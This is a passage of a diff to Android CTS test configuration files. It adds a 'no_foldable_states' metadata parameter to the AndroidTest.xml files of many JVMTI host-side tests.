     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1974/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1974/AndroidTest.xml
index 7556216..25073a1 100644
--- a/hostsidetests/jvmti/run-tests/test-1974/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1974/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1975/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1975/AndroidTest.xml
index af530e3..caca698 100644
--- a/hostsidetests/jvmti/run-tests/test-1975/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1975/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1976/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1976/AndroidTest.xml
index 37d2ef3..e6d1a7a 100644
--- a/hostsidetests/jvmti/run-tests/test-1976/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1976/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1977/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1977/AndroidTest.xml
index b15fdaf..ad6787b 100644
--- a/hostsidetests/jvmti/run-tests/test-1977/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1977/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1978/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1978/AndroidTest.xml
index 5ca5ec4..bd4c8d0 100644
--- a/hostsidetests/jvmti/run-tests/test-1978/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1978/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1979/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1979/AndroidTest.xml
index 8ff1f00..879bda1 100644
--- a/hostsidetests/jvmti/run-tests/test-1979/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1979/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1981/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1981/AndroidTest.xml
index c38520a..164032d 100644
--- a/hostsidetests/jvmti/run-tests/test-1981/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1981/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1982/AndroidTest.xml
index f6a0132..8c229bb 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1982/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1983/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1983/AndroidTest.xml
index ee4a547..86b6550 100644
--- a/hostsidetests/jvmti/run-tests/test-1983/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1983/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1984/AndroidTest.xml
index e917c90..3df96f3 100644
--- a/hostsidetests/jvmti/run-tests/test-1984/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1984/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1988/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1988/AndroidTest.xml
index b9bd31a..f47b79a 100644
--- a/hostsidetests/jvmti/run-tests/test-1988/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1988/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1989/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1989/AndroidTest.xml
index 26f310a..a726409 100644
--- a/hostsidetests/jvmti/run-tests/test-1989/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1989/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1990/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1990/AndroidTest.xml
index a48573b..23b05a2 100644
--- a/hostsidetests/jvmti/run-tests/test-1990/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1990/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1991/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1991/AndroidTest.xml
index 198c85c..b20910d 100644
--- a/hostsidetests/jvmti/run-tests/test-1991/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1991/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1992/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1992/AndroidTest.xml
index 18bc104..d9cd708 100644
--- a/hostsidetests/jvmti/run-tests/test-1992/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1992/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1994/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1994/AndroidTest.xml
index dcfac58..0b873d2 100644
--- a/hostsidetests/jvmti/run-tests/test-1994/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1994/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1995/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1995/AndroidTest.xml
index df666bd..a858694 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1995/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1996/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1996/AndroidTest.xml
index 51240d4..9fd6f30 100644
--- a/hostsidetests/jvmti/run-tests/test-1996/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1996/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1997/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1997/AndroidTest.xml
index a4484e0..a527dff 100644
--- a/hostsidetests/jvmti/run-tests/test-1997/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1997/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1998/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1998/AndroidTest.xml
index 4fb6d4f..77c1d0b 100644
--- a/hostsidetests/jvmti/run-tests/test-1998/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1998/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1999/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1999/AndroidTest.xml
index f7e1329..ba589ed 100644
--- a/hostsidetests/jvmti/run-tests/test-1999/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1999/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-2001/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-2001/AndroidTest.xml
index 297b835..180b25d 100644
--- a/hostsidetests/jvmti/run-tests/test-2001/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2001/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-2002/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-2002/AndroidTest.xml
index e1c5372..4165ecf 100644
--- a/hostsidetests/jvmti/run-tests/test-2002/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2002/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-2003/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-2003/AndroidTest.xml
index a0da7d0..d99409a 100644
--- a/hostsidetests/jvmti/run-tests/test-2003/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2003/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-2004/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-2004/AndroidTest.xml
index f414196..bec3178 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2004/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-2005/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-2005/AndroidTest.xml
index 2339521..afa6f97 100644
--- a/hostsidetests/jvmti/run-tests/test-2005/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2005/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-2006/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-2006/AndroidTest.xml
index c761a7c..2e6466d 100644
--- a/hostsidetests/jvmti/run-tests/test-2006/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2006/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-2007/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-2007/AndroidTest.xml
index a688bc5..35ccdac 100644
--- a/hostsidetests/jvmti/run-tests/test-2007/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2007/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
index 0048286..128a910 100644
--- a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
index 367c94a..50cceae 100644
--- a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
index 08940e0..50e5451 100644
--- a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
index 47a24ce..5de8c3c 100644
--- a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
index 7ced7af..1604da5 100644
--- a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
index 824ee11..c93b938 100644
--- a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
index e4b1118..89aef65 100644
--- a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
index 9b17239..3f677fa 100644
--- a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
index 28c8a49..51a3048 100644
--- a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
index f5b2e82..b0357f6 100644
--- a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
index 6f37953..647501c 100644
--- a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
index 1efafdc..f000b96 100644
--- a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
index 75ae500..a01489b 100644
--- a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
